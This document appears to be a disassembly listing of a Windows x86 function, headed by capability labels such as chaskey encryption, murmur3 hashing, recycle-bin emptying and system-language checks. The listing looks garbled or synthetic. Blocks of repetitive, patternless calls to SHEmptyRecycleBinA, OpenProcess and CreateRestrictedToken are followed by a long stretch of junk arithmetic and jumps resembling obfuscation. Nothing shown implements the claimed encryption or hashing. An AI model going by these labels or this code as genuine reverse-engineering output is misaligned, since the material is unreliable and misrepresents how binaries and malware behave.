Function at 0x401000
Capabilities:
Accept command line arguments
Empty the recycle bin
Encrypt data using chaskey
Hash data using murmur3
Identify system language via api

Disassembly:
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp eax, 0xffffff21
jne 0x401066
call main
call main
call sub.shell32.dll_SHEmptyRecycleBinA
call main
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
call main
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call main
call sub.kernel32.dll_OpenProcess
call sub.advapi32.dll_CreateRestrictedToken
call sub.kernel32.dll_OpenProcess
call main
call sub.advapi32.dll_CreateRestrictedToken
ret
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, 0xffffff21
jne 0x4010cc
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call main
call sub.advapi32.dll_CreateRestrictedToken
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
call main
call main
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call main
call main
call sub.advapi32.dll_CreateRestrictedToken
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
ret
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp eax, 0xffffff20
jne 0x401155
call sub.kernel32.dll_OpenProcess
call main
call main
call sub.shell32.dll_SHEmptyRecycleBinA
call main
call main
call main
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call sub.advapi32.dll_CreateRestrictedToken
call sub.advapi32.dll_CreateRestrictedToken
call sub.advapi32.dll_CreateRestrictedToken
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call sub.advapi32.dll_CreateRestrictedToken
call sub.advapi32.dll_CreateRestrictedToken
call sub.kernel32.dll_OpenProcess
call main
call sub.kernel32.dll_OpenProcess
call sub.advapi32.dll_CreateRestrictedToken
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
ret
call sub.kernel32.dll_GetCommandLineW
cmp eax, 0xffffff14
jne 0x4011cf
call sub.advapi32.dll_CreateRestrictedToken
call sub.shell32.dll_SHEmptyRecycleBinA
call main
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.advapi32.dll_CreateRestrictedToken
call main
call main
call sub.advapi32.dll_CreateRestrictedToken
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
ret
call sub.kernel32.dll_GetCommandLineW
cmp eax, 0xffffff22
jne 0x401262
call sub.advapi32.dll_CreateRestrictedToken
call sub.shell32.dll_SHEmptyRecycleBinA
call main
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call main
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call main
call sub.advapi32.dll_CreateRestrictedToken
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
call sub.advapi32.dll_CreateRestrictedToken
call sub.advapi32.dll_CreateRestrictedToken
call main
call sub.kernel32.dll_OpenProcess
call main
call sub.advapi32.dll_CreateRestrictedToken
call sub.advapi32.dll_CreateRestrictedToken
call main
call main
call sub.kernel32.dll_OpenProcess
call sub.kernel32.dll_OpenProcess
call sub.shell32.dll_SHEmptyRecycleBinA
ret
jmp 0x475340
and edx, ecx
sub esi, ecx
and ecx, edx
add esi, edx
and edx, esi
and edx, esi
add edx, 0x805127c0
sub ecx, ebx
jmp 0x475929
pop ecx
sub ebx, edi
sub ebx, edx
or edi, edx
and edx, edi
add esi, edx
dec edi
jmp 0x477dc0
call ecx
xchg ebx, edx
xor esi, edx
or ebx, edx
or esi, edi
add edx, edi
and edx, ebx
and edi, edx
jmp 0x477f5c
pop ecx
mov edi, esi
xor esi, edi
mov esi, ebx
bswap edi
sub edi, ebx
add edi, ebx
rol edi, 0xb
or edx, edi
xchg ebx, edx
mov esi, 0x8136bd2b
add ebx, edi
jmp 0x476cc8
mov ecx, 0x123b2f04
or ebx, esi
add esi, ebx
add esi, edi
or ebx, edx
not ebx
bswap edx
sub esi, edi
dec ebx
jmp 0x476561
call ecx
and esi, edi
inc edx
jmp 0x476c98
push 0x40
sub esi, 0x814f1394
and edi, 0x814f516e
or edi, 0x814f90ea
sub edx, 0x814fce06
rol edx, 0xc
add edx, esi
or edi, esi
add esi, 0x8150d3e4
xchg edx, ebx
shr ebx, 0x11
xor edx, esi
shl edx, 0x1a
mov ebx, edx
jmp 0x47699c
push 0x80585ae4
add edx, edi
and edi, ebx
shr edx, 0x16
mov ebx, edx
or edi, esi
neg edi
sub edi, edx
add esi, edx
bswap edx
jmp 0x475ca5
call ecx
add edx, edi
add esi, edi
add edi, ebx
sub ebx, edx
inc esi
or edx, edi
jmp 0x4757d5
pop ecx
not edi
and ebx, esi
sub edx, ebx
shl edx, 0x13
and esi, 0x816b836a
ror edx, 2
dec edx
bswap edi
add edi, edx
not esi
rol esi, 0x17
jmp 0x47613b
pop ecx
bswap esi
or esi, ebx
xor esi, 0x817950d3
ror ebx, 0x1e
and edi, esi
xor edx, 0x817a080b
xor esi, edi
mov edi, 0x817a947e
or edx, edi
add edi, edx
neg ebx
neg edx
xor edi, 0x817bc8a1
and edx, 0x817c06c9
jmp 0x477c6c
push 0x8055bc2b
ror edx, 0x16
sub ebx, edx
or ebx, edx
bswap edx
xor edx, edi
sub ebx, esi
ror ebx, 5
sub ebx, edi
shl edx, 0x18
xor ebx, 0x81841e43
add ebx, esi
xchg edx, edi
bswap esi
xor edx, esi
inc edx
bswap esi
jmp 0x4759c5
mov ecx, 0x123b2f04
not ebx
mov edx, edi
mov ebx, esi
or esi, ebx
shl esi, 9
xor esi, 0x818ebe37
jmp 0x4781e4
call ecx
shl esi, 7
rol esi, 0x15
and ebx, 0x818fa9e2
add ebx, edx
add edi, 0x8190259f
and esi, 0x819064e9
add edi, edx
ror esi, 0x17
neg edi
neg edx
jmp 0x477b4a
pop ecx
add edi, esi
sub ebx, edx
mov edx, edi
shl edi, 8
and edi, edx
xor esi, edx
shr edx, 0x14
and ebx, edx
mov ebx, edx
and edx, edi
jmp 0x4763ac
call fcn.0047661f
or ebx, edi
inc esi
xchg esi, edi
add ebx, edx
mov esi, edi
inc ebx
add edi, edx
rol esi, 0xf
nop
jmp 0x47556c
push 0x8077b34f
not ebx
and esi, 0x819db3d8
or esi, edx
xchg ebx, esi
add edi, ebx
xor edx, ebx
mov esi, edi
shr edx, 0x16
xchg ebx, edx
or edx, 0x81a02fd9
rol edi, 0xc
or esi, 0x81a0ae70
add edi, ebx
jmp 0x476de3
call fcn.0047661f
or ebx, edx
sub esi, ebx
add edi, edx
inc esi
xor edx, edi
add ebx, esi
mov ebx, 0x81a73dca
or edi, esi
and edi, esi
shl ebx, 0x1a
mov esi, ebx
xor edx, ebx
jmp 0x4759e0
pop ecx
and esi, edi
inc esi
and edx, esi
ror edi, 0x19
dec edi
or ebx, esi
jmp 0x478638
push esp
mov ebx, 0x81ac8c01
xor esi, ebx
or edx, esi
mov ebx, 0x81ad48ab
and esi, ebx
not ebx
xchg edx, edi
mov edi, esi
mov edx, edi
sub edx, esi
mov ebx, edi
xor ebx, esi
jmp 0x47566c
push 0x80711779
xchg edx, edi
neg esi
xor esi, ebx
not esi
inc ebx
xor edx, edi
mov edx, 0x81b375bb
or edx, 0x81b3b433
sub edx, edi
not edi
add edi, ebx
shl edx, 0x10
add edx, ebx
add ebx, edx
jmp 0x475f5d
pop ecx
shl ebx, 0xc
and esi, edx
shr ebx, 0x1f
shr edx, 0x13
neg ebx
jmp 0x476607
mov ecx, 0x123b2f04
inc ebx
and ebx, edi
or edx, esi
or ebx, esi
or edx, 0x81c5042c
xor edi, 0x81c54427
jmp 0x475a62
pop ecx
ror esi, 0x15
mov esi, 0x81c5f00f
sub edx, edi
shl ebx, 0x15
xchg ebx, edi
add edx, 0x81c6ec0b
xor edi, 0x81c72c63
xor esi, edi
add esi, ebx
jmp 0x47823b
push 0x8088b1e8
add edx, ebx
sub esi, 0x81d4db8e
mov esi, edi
or edx, ebx
add edx, ebx
xor esi, ebx
neg ebx
add ebx, esi
add edx, 0x81d69cb7
add edx, esi
add esi, ebx
jmp 0x47799b
pop ecx
rol esi, 0xb
mov esi, edx
mov edx, 0x81db9405
xor esi, ebx
rol edi, 1
rol edx, 7
inc edi
shr edx, 0xe
sub esi, edi
or edi, ebx
jmp 0x47808e
pop ecx
and esi, 0x81e87b3a
shr edx, 0x17
and edx, edi
add ebx, 0x81e9e4c3
and esi, edx
and edx, ebx
xor edx, edi
jmp 0x4758aa
pop ecx
nop
or ebx, 0x81eed010
not esi
xchg edx, esi
not edi
or edx, edi
xor esi, ebx
mov ebx, edi
or ebx, 0x81f09729
and esi, 0x81f0d7bd
xor edx, esi
add esi, edx
and esi, ebx
xor edi, 0x81f1cf0c
xor edi, edx
jmp 0x477094
push esp
xor edx, esi
bswap ebx
or ebx, esi
or esi, edi
rol edx, 0x16
xor edi, 0x81f5cfd3
not ebx
not esi
sub esi, edx
jmp 0x475b6a
push 0x807161a1
xor edx, esi
and edi, edx
sub esi, 0x81f77491
add esi, 0x81f7b384
xor edx, esi
sub esi, ebx
or esi, edx
add ebx, edi
not ebx
add ebx, esi
jmp 0x475fdc
push 0x8071a94f
and edx, 0x81ffce02
and edx, 0x82000eed
add edi, 0x82008944
and edi, ebx
and esi, edi
xchg edx, ebx
jmp 0x476a7c
call ecx
or edx, edi
add ebx, edx
or edi, ebx
mov ebx, esi
inc edi
ror edi, 0x16
jmp 0x477f08
pop ecx
dec edi
add ebx, esi
xor esi, 0x8203ba22
sub esi, 0x8203fad9
xchg esi, ebx
jmp 0x4780ec
pop ecx
or esi, edi
or esi, ebx
mov ebx, edi
sub edi, edx
sub edi, edx
neg ebx
and ebx, esi
neg esi
xor edi, edx
jmp 0x475500
mov ecx, 0x4132136a
shl edx, 0x1e
add ebx, esi
xchg ebx, edx
xor esi, ebx
or edi, ebx
and edx, ebx
xchg ebx, edx
jmp 0x4779ed
push 0x8089466c
sub edx, 0x8227a4b3
nop
xchg esi, ebx
add edx, 0x8228722e
or esi, edx
and esi, 0x8228f0a5
jmp 0x476a9c
push 0x80748a9a
dec edx
xor ebx, 0x822fea8d
add edi, esi
xor ebx, 0x823067dd
sub edx, edi
jmp 0x476906
call fcn.0047661f
mov edx, edi
add edx, esi
add esi, 0x823ca4c9
sub edx, edi
bswap esi
and ebx, esi
mov edi, edx
shr edi, 0x1a
ror edx, 0x14
or esi, edi
jmp 0x476b8c
call fcn.0047661f
and ebx, esi
rol edx, 1
xchg edx, ebx
sub edx, 0x824483fa
sub esi, edi
not edx
add esi, edx
xchg edx, edi
xor edx, edi
mov ebx, edx
and edx, 0x82463664
jmp 0x476467
pop ecx
xor edi, edx
or edx, esi
neg edi
xor ebx, esi
xchg edx, edi
mov edi, esi
add edi, ebx
sub edx, edi
xor esi, edx
add ebx, 0x8248d16c
jmp 0x476515
call ecx
not esi
xor ebx, edx
and edi, edx
xchg edx, ebx
mov edx, ebx
or edx, 0x82557057
neg edi
neg edx
or ebx, esi
dec esi
jmp 0x47742f
push 0x8085c74e
not esi
shl ebx, 0x14
add ebx, 0x825ed947
xor edi, 0x825f1a82
and edx, ebx
or edx, edi
xchg ebx, edi
xchg esi, edi
mov edi, 0x826063f9
or ebx, edx
or esi, 0x8260e1d9
jmp 0x47846d
push 0x807a4df6
xor ebx, 0x82613cd7
add ebx, edi
not esi
sub edx, esi
xchg edx, ebx
jmp 0x477d86
pop ecx
not edi
sub edi, 0x8262e1a1
xchg esi, ebx
jmp 0x477c2d
call fcn.0047661f
rol edi, 0xb
bswap esi
mov ebx, 0x8266cc55
mov esi, ebx
jmp 0x475769
push 0x8081a060
xor edi, ebx
and edi, 0x826d3034
xor esi, edi
xor edx, esi
xor ebx, edi
or esi, edx
dec ebx
and edi, ebx
xchg ebx, esi
mov esi, 0x826f3469
dec ebx
xor ebx, 0x826fb5a6
and edi, edx
mov edi, ebx
jmp 0x4770a6
pop ecx
and edi, 0x82716818
and ebx, esi
add edx, esi
mov edx, ebx
sub edi, esi
xchg ebx, edx
sub esi, edi
jmp 0x475aac
call fcn.0047661f
inc edx
ror edx, 3
and edx, edi
dec esi
bswap edi
ror edx, 0xa
xor edx, edi
shl edx, 0xd
xchg esi, ebx
mov edx, esi
mov ebx, 0x8287101d
or edi, edx
or edx, 0x82878d9a
and ebx, 0x8287cce5
jmp 0x475ffe
call ecx
xor ebx, edi
xchg edi, edx
xor edx, esi
bswap edx
and edi, edx
and edx, edi
mov ebx, edi
inc edx
add edi, 0x828a2e94
jmp 0x475cc2
call ecx
or edx, edi
sub edx, edi
xor ebx, esi
sub esi, edi
ror esi, 1
xor edi, edx
or ebx, esi
sub edx, ebx
ror edx, 0x15
xor edi, esi
rol edx, 0xc
sub edx, edi
sub esi, edi
mov edi, esi
xchg edi, esi
jmp 0x4767a1
pop ecx
add edx, esi
and ebx, edx
sub ebx, esi
add edx, edi
jmp 0x475eea
call ecx
sub ebx, esi
add ebx, 0x82932ff7
xchg edi, esi
sub edi, esi
xor edx, edi
mov edx, esi
rol ebx, 0xd
xchg edi, esi
bswap ebx
add ebx, edx
add edx, edi
and esi, 0x8295ad9d
ror ebx, 3
xchg edx, edi
jmp 0x477260
pop ecx
xor ebx, esi
or esi, 0x8296c6a0
add edx, ebx
mov ebx, edi
not esi
inc ebx
or esi, edx
add edi, 0x82984abd
neg ebx
and edi, esi
bswap edx
shr edx, 0x17
or edi, edx
add edx, ebx
jmp 0x476011
push 0x808fb898
and esi, edi
add edx, ebx
and edx, esi
shl edi, 0xe
shl ebx, 0x10
mov edx, 0x829b55e9
rol esi, 7
or esi, edi
or edx, ebx
xchg edi, esi
ror esi, 0x15
dec edi
mov esi, edi
jmp 0x477054
push 0x808f2118
rol edx, 0x16
sub esi, edi
shr esi, 0x12
or edx, esi
mov ebx, edx
bswap esi
add edx, edi
bswap edx
sub edx, ebx
jmp 0x477fdf
push 0x807ae1b0
and edi, ebx
add edx, edi
or edx, edi
or ebx, esi
mov esi, 0x82aaef6f
sub edx, ebx
xor edx, edi
add edx, 0x82abab06
mov edx, 0x82abfbde
jmp 0x476dc7
push 0x8074d321
add ebx, edx
xchg edi, esi
ror ebx, 3
bswap esi
and ebx, esi
add edx, edi
shr edx, 0xa
mov ebx, edx
jmp 0x4772b4
push 0x80578130
sub ebx, edx
add edx, ebx
xchg ebx, edx
add ebx, edi
jmp 0x477d9f
pop ecx
xor esi, edx
and edx, ebx
nop
add ebx, esi
rol edi, 0x1e
sub edx, edi
shr edi, 0x1a
and edx, edi
mov edx, 0x82b79707
xor esi, edi
dec edx
mov esi, edi
jmp 0x477e85
push 0x73f40
rol edx, 0xa
shr edx, 0xf
and edx, esi
and esi, 0x82b96d70
add esi, edi
dec edi
xchg edi, edx
xor edi, 0x82ba7aa1
xor edx, esi
mov edi, ebx
xor esi, 0x82bb334a
ror esi, 0x15
jmp 0x47852d
push 0x808cc7df
neg esi
or edi, ebx
ror ebx, 0x14
xchg esi, edx
xor esi, edi
xchg ebx, esi
xor ebx, 0x82bf7b97
shl edx, 2
mov edx, edi
xor edx, esi
add edi, esi
jmp 0x4780bd
push 0x8089da8a
sub edi, edx
inc ebx
dec ebx
xor esi, edi
and edx, edi
xor ebx, 0x82c723fb
and ebx, edx
or edi, 0x82c79f66
xor esi, ebx
mov esi, ebx
mov ebx, edx
jmp 0x476d05
mov ecx, 0xa3f322a
add ebx, edx
and ebx, 0x82c8eb78
xchg ebx, esi
ror ebx, 0x1b
shl ebx, 0xd
xor edi, esi
mov edx, ebx
add edi, esi
jmp 0x477115
push 0x808990c3
mov esi, edx
sub edx, 0x82cb0afd
neg edi
xor edi, edx
xchg esi, edi
add edi, 0x82cc0785
mov edi, ebx
jmp 0x476a56
push 0x80823454
mov ebx, esi
rol edx, 0x14
add edi, edx
inc edi
mov ebx, edx
add edi, ebx
sub edx, 0x82d1d7b4
xor edi, ebx
jmp 0x477ab7
push 0x80784792
xor edx, edi
mov esi, edx
or edx, ebx
xor ebx, edi
add edx, ebx
sub edx, edi
mov ebx, 0x82d3edc0
inc esi
and esi, edi
jmp 0x478291
push 0x80581158
rol edx, 0x1b
xchg edx, esi
ror edx, 0x11
mov edi, 0x82d72eba
or edi, 0x82d76d97
add edi, esi
and ebx, 0x82d7e8e9
dec ebx
or esi, 0x82d8773b
shr esi, 0x18
and ebx, 0x82d8f619
mov ebx, 0x82d936bf
jmp 0x4756d5
call ecx
bswap edx
mov edx, ebx
rol ebx, 0x1d
xor edx, 0x82dbc6ba
mov edx, ebx
neg ebx
xor ebx, edx
shr edx, 0x1d
add esi, ebx
sub edx, edi
xor edx, 0x82dd8acd
jmp 0x47697b
pop ecx
not edx
xchg esi, ebx
inc edi
jmp 0x477b04
pop ecx
xor ebx, 0x82f13cdd
add edi, esi
mov ebx, esi
and edx, edi
sub ebx, edi
sub edx, 0x82f27bee
mov edi, ebx
dec esi
and edi, edx
shr edi, 0x11
ror edi, 0x12
jmp 0x47652d
pop ecx
xor edx, 0x82f40e60
or edi, esi
xor esi, 0x82f4893e
sub esi, 0x82f4c88a
sub edi, esi
mov ebx, edx
xor edx, esi
add ebx, esi
jmp 0x475d96
mov ecx, 0xa3f322a
rol ebx, 0xd
xor esi, 0x82f9358e
xchg edi, esi
sub edi, edx
xchg ebx, esi
add edx, 0x82fa443e
add edi, edx
xor edi, edx
and esi, edx
or esi, ebx
inc edi
mov ebx, 0x82fbbb77
not edx
jmp 0x477f3b
mov ecx, 0xa3f322a
bswap edi
xor edx, 0x830927c5
mov edx, ebx
or ebx, esi
xor ebx, 0x8309f275
jmp 0x476310
push 0x8077fd18
mov edi, 0x830a4f39
mov esi, edi
mov edi, esi
add edi, esi
and edx, esi
sub ebx, esi
and edi, esi
and ebx, esi
xor esi, edx
and edx, edi
nop
jmp 0x476b09
pop ecx
and ebx, esi
add esi, edx
xchg edi, esi
xchg ebx, edi
and edx, esi
jmp 0x477887
mov ecx, 0xa3f322a
add esi, edx
ror ebx, 9
not edi
and ebx, edi
mov edi, 0x83202509
jmp 0x4770c4
mov ecx, 0xa3f322a
bswap ebx
neg edx
add esi, ebx
and esi, 0x83410736
jmp 0x477a40
push 0x805738d5
xchg edi, esi
bswap esi
rol ebx, 0x1b
sub edi, edx
and esi, edx
xchg ebx, edx
and esi, ebx
dec ebx
rol ebx, 0xf
xor edx, edi
mov edi, 0x8343ede0
add edi, ebx
add ebx, edi
sub edi, esi
jmp 0x476969
pop ecx
nop
xchg esi, edx
xchg ebx, edx
not edi
mov edi, 0x8346141c
jmp 0x47618d
push 0x8081eb30
and esi, edi
xor ebx, 0x8346ac2f
add esi, 0x8346ec70
add edi, esi
xchg esi, edi
sub edx, esi
jmp 0x476aeb
call fcn.0047661f
or edi, edx
xchg edx, esi
xchg edx, ebx
inc esi
not esi
sub ebx, 0x834964af
add esi, ebx
mov ebx, edx
xor edi, 0x834a1f8c
or edx, ebx
jmp 0x476731
call fcn.0047661f
xor ebx, esi
or ebx, esi
rol ebx, 6
and ebx, edx
add ebx, edx
jmp 0x477967
pop ecx
mov esi, ebx
or ebx, edx
xor esi, 0x83669150
mov ebx, edi
or edx, ebx
neg ebx
neg edi
add edx, esi
jmp 0x47706a
push 0x80751cea
or esi, edx
xor esi, 0x836d934b
mov esi, edx
inc edx
shl ebx, 4
or edi, ebx
add edx, esi
xchg edi, edx
add edx, ebx
add ebx, edx
jmp 0x4775ae
pop ecx
xchg esi, edx
add esi, ebx
xchg edx, edi
add edx, esi
or edi, 0x83891fc5
and edx, ebx
and ebx, edx
mov edx, edi
jmp 0x475420
push 0x80865be2
bswap edi
rol edi, 0x12
or ebx, edi
xor esi, 0x83a1bd08
or edi, 0x83a1fc6b
mov esi, edx
neg edi
xor edi, 0x83a2c8da
sub ebx, edx
jmp 0x475553
mov ecx, 0x123b2f04
xor edx, ebx
add esi, edi
and edi, edx
xor esi, 0x83a411f6
and edx, 0x83a44f10
or edx, 0x83a48d73
and esi, ebx
not edx
jmp 0x476383
push 0x808c7c66
mov esi, ebx
not edx
or esi, ebx
not ebx
and edx, 0x83d9c1f8
mov edx, esi
and edi, 0x83da3dda
rol ebx, 0x14
xchg edx, ebx
xor edx, esi
and ebx, esi
xchg edi, ebx
or ebx, edi
xchg esi, edx
xor edx, ebx
jmp 0x4769e2
call ecx
xor edx, ebx
mov edi, edx
mov esi, ebx
or esi, 0x83e92505
or ebx, 0x83e965d8
xchg esi, edi
mov edi, ebx
and esi, edx
shr esi, 0x1f
xchg ebx, esi
add edi, esi
inc edx
sub edx, ebx
xor esi, 0x83eba6a9
sub ebx, edx
shl ebx, 0x17
jmp 0x477ed3
push 0x8088fcb9
xchg ebx, edx
add edx, edi
add edi, 0x83ecfafe
and esi, edi
or ebx, esi
and edx, ebx
or esi, 0x83edf2ee
neg edx
shr edi, 0x11
add ebx, 0x83eec002
add esi, edi
sub ebx, 0x83ef3c6e
neg ebx
xchg esi, ebx
jmp 0x476212
call fcn.0047661f
xchg esi, edx
sub ebx, edx
xchg ebx, esi
sub ebx, edi
sub edi, esi
add edi, esi
ror edx, 1
and esi, ebx
add edx, esi
jmp 0x475f40
call fcn.0047661f
sub edi, edx
dec esi
xchg ebx, edx
inc ebx
bswap edx
sub edx, 0x83fa5bfe
nop
or edi, esi
and ebx, edx
nop
xchg edx, esi
jmp 0x47674d
push 0x80827e6f
add edx, edi
xor edx, esi
and edx, edi
dec edi
xor ebx, edi
and ebx, edx
sub ebx, edi
nop
xchg edi, esi
xchg esi, ebx
add ebx, edx
ror edi, 0x1f
jmp 0x477e9d
pop ecx
xor edx, esi
xor edi, edx
or edi, 0x840f9e81
xchg edx, esi
add esi, edx
mov ebx, esi
xchg esi, ebx
jmp 0x47833c
pop ecx
ror ebx, 4
xor esi, edx
and ebx, edx
or edx, ebx
rol edi, 0xb
ror edx, 0x15
xor edx, 0x84168552
or edi, 0x8416c500
neg edx
jmp 0x4767dc
push 0x8073f65d
mov ebx, 0x842619f0
xchg ebx, edx
sub esi, ebx
xchg esi, edx
jmp 0x477ee1
push 0x8070ce04
add esi, edi
mov edi, 0x842a4d5d
and edx, 0x842a8c98
xchg ebx, esi
and esi, ebx
and edx, 0x842b45ad
xor ebx, esi
and edx, edi
sub ebx, edx
mov ebx, esi
bswap ebx
bswap edi
xor edx, ebx
sub ebx, edx
jmp 0x475bb1
push 0x807a97e7
rol edi, 4
dec esi
add edi, ebx
mov edi, 0x843e7c34
mov ebx, edx
xchg ebx, edx
jmp 0x4768e0
push 0x8057c90c
bswap ebx
not edi
or esi, edx
shr esi, 0x14
ror esi, 0x19
xor edi, edx
neg ebx
not edx
dec ebx
add edi, edx
xchg esi, edi
jmp 0x476b41
pop ecx
add esi, 0x84422d1a
rol edx, 8
rol edx, 0xe
add esi, edi
or edx, 0x844324a6
bswap ebx
and ebx, edx
neg ebx
sub edx, ebx
sub edi, esi
inc esi
nop
jmp 0x475c7d
push 0x80857d14
mov edi, 0x844b0c85
xor edx, ebx
dec edx
dec edi
jmp 0x4764e5
pop ecx
add ebx, edx
rol ebx, 0xb
rol esi, 3
add ebx, esi
not edi
sub edi, 0x8450ae0a
jmp 0x47864d
mov ecx, 0xa3f322a
rol edx, 0x12
sub edx, esi
xchg esi, ebx
jmp 0x475b15
pop ecx
sub edx, ebx
sub edi, esi
or esi, edi
and esi, ebx
jmp 0x4783c2
push 0x80744032
mov edx, esi
xchg esi, edi
sub edx, edi
xor esi, edi
or esi, edi
and edi, ebx
not esi
inc ebx
xor edx, edi
add edi, 0x84585a6c
and esi, 0x84589a13
jmp 0x476283
pop ecx
xor esi, edi
and edi, edx
shr esi, 1
add ebx, 0x8459c08c
xor ebx, edx
sub ebx, esi
sub esi, ebx
mov esi, 0x845ab83d
neg edx
mov esi, ebx
jmp 0x475a1c
call fcn.0047661f
and edx, ebx
sub edx, ebx
bswap edi
sub edi, esi
mov ebx, edi
jmp 0x477f4f
call ecx
and edx, edi
not edi
neg ebx
jmp 0x475b59
pop ecx
or esi, ebx
rol ebx, 1
and edi, esi
mov edi, edx
add esi, 0x845fbee4
xor edx, 0x845ffeb9
and edi, esi
and edi, esi
sub edi, 0x8460c8c5
mov ebx, edx
and ebx, edi
xor esi, edx
shr edx, 0x1d
shl edi, 6
mov ebx, edx
jmp fcn.0047659a
push 0x808f6c29
sub ebx, edx
xor edx, esi
or edi, 0x846947b3
shl edi, 4
xchg edi, edx
sub edi, ebx
ror ebx, 4
jmp 0x476806
pop ecx
or esi, 0x8475815b
and edi, 0x8475c17a
mov edi, ebx
mov esi, edi
and edi, ebx
mov esi, 0x8476c895
mov esi, edx
xchg edx, esi
add ebx, edx
xor esi, ebx
sub edx, 0x8477ffb4
mov edx, edi
sub esi, edx
jmp 0x476eaa
push 0x808d1169
dec esi
xchg esi, edx
xchg edi, ebx
nop
xchg esi, ebx
and edi, 0x847a11d0
add edi, esi
not edx
or edi, esi
or edi, ebx
shl edi, 0x16
xchg edi, edx
or ebx, 0x847bda73
not edx
bswap ebx
jmp 0x476ef2
pop ecx
xor ebx, edx
or ebx, esi
bswap esi
or edx, esi
add edi, esi
add esi, 0x847dfbc8
xchg edx, edi
xchg edx, ebx
jmp 0x477e44
call fcn.0047661f
or esi, ebx
mov edx, edi
xchg edx, edi
bswap ebx
sub edi, esi
xchg ebx, edx
or edi, edx
not esi
dec edi
jmp 0x4767af
pop ecx
or edx, 0x8495540d
add ebx, edi
sub ebx, edx
mov ebx, edx
xor edi, edx
xor edx, ebx
or edx, edi
sub edx, ebx
sub edx, ebx
mov edx, esi
mov edi, edx
or ebx, 0x8498098b
jmp 0x478679
mov ecx, 0xa3f322a
add edi, ebx
sub esi, 0x849de6c4
xor esi, edi
sub esi, ebx
add edi, esi
add edi, esi
xchg ebx, esi
or esi, ebx
xor esi, edi
jmp 0x4766ff
pop ecx
mov edi, esi
shr ebx, 0xe
xchg ebx, edi
neg esi
xor ebx, esi
inc ebx
ror edx, 0x10
not edx
bswap ebx
and esi, 0x84ac0749
xor ebx, edi
jmp 0x475e9d
pop ecx
shr edi, 1
and edi, esi
and ebx, esi
mov edx, 0x84b3c1b8
xchg ebx, edx
and edx, esi
and esi, 0x84b47c2c
inc ebx
and ebx, edi
xor edx, edi
jmp 0x476ca3
push 0x80861137
not edx
and edi, 0x84c0ed07
and edx, edi
xchg ebx, edi
sub edi, 0x84c1a960
xchg esi, edi
not edx
jmp 0x477585
push 0x401400
or edx, esi
and edi, ebx
not edx
xor ebx, esi
mov edx, 0x84cef065
xchg esi, edi
add edx, edi
or ebx, 0x84cfbd8c
and ebx, edi
add edi, edx
jmp 0x4754eb
pop ecx
mov edx, edi
inc edi
xor edi, ebx
xor edx, edi
sub ebx, edx
bswap edx
or esi, edx
and edi, ebx
jmp 0x475de5
pop ecx
and esi, edi
shl edx, 0x17
sub edi, esi
add edx, edi
dec edx
jmp 0x4765c7
pop ecx
mov edx, edi
xor esi, edx
and edx, esi
mov ebx, edx
add edx, ebx
and edx, esi
add edx, ebx
xor esi, edx
mov esi, edi
jmp 0x476896